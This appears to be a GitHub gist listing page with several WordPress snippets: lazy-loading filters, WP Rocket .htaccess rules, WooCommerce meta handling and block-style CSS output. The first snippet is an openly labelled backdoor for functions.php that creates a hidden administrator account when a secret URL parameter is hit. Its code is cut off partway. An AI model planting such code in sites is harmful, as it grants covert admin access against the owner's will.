Skip to content

Instantly share code, notes, and snippets.

View milllan's full-sized avatar

Milan Petrović milllan

View GitHub Profile
@abid112
abid112 / backdoor-functions.php
Created April 25, 2019 07:15
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
<?php
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
@CFranc111
CFranc111 / gist:ca7b7ab6108ce293365f380d5e99b6b2
Created August 22, 2019 16:51
Wordpress add lazy loading all content
function enzothecat_add_lazy_loading($content) {
$content = preg_replace('/src="/', 'loading="lazy" src="', $content);
return $content;
}
add_filter('the_content', 'enzothecat_add_lazy_loading');
@webtrainingwheels
webtrainingwheels / .htaccess
Created October 30, 2019 23:39
WP Rocket htaccess rules
# BEGIN WP Rocket v3.4.0.5
# Use UTF-8 encoding for anything served text/plain or text/html
AddDefaultCharset UTF-8
# Force UTF-8 for a number of file formats
<IfModule mod_mime.c>
AddCharset UTF-8 .atom .css .js .json .rss .vtt .xml
</IfModule>
# FileETag None is not enough for every server.
<IfModule mod_headers.c>
Header unset ETag
@seebeen
seebeen / basic-stuff.php
Created March 12, 2021 21:40
[WooCommerce Product Manipulation] WooCommerce Product manipulation basics #wordpress #woocommerce
<?php
$product_id = 202;
$product_sku = 'SIFRA-1245';
/*
This won't work because update_post_meta does not trigger necessary additions to product lookup tables and transients
*/
update_post_meta($product_id, '_sku', $product_sku);
@ramonfincken
ramonfincken / css.php
Last active January 21, 2025 18:25
Outputs minified WP Core Block styles css in footer, only the blocks you actually use in the_content()
<?php
/**
* Outputs minified WP Core Block styles css in footer, only the blocks you actually use in the_content()
* Needs wp_deregister_script( 'wp-block-library' );
*
* @author Ramon Fincken, ManagedWPHosting.nl
*
* @param string $block_content
* @param array $parsed_block
* @return string
@khoipro
khoipro / sample-lazyload-sections.php
Last active January 8, 2024 22:02
Sample section lazyload using <noscript> - DRAFTING
<?php
/** Drafting **/
add_filter('the_content', 'codetot_lazyload_home_sections', 1000);
function codetot_lazyload_home_sections( $content ) {
$front_page_id = get_option('page_on_front');
if ( ! is_page( $front_page_id ) ) {
return $content;
}
/// No like, just literal
$nl = [
'_transient_wpassetcleanup_assets_info',
'_transient_wc_attribute_taxonomies',
'_transient_dirsize_cache',
'asp_updates',
'Avada_backups',
'aviaAsset_css_filecontent',
'aviaAsset_js_filecontent',
'apmm_font_family',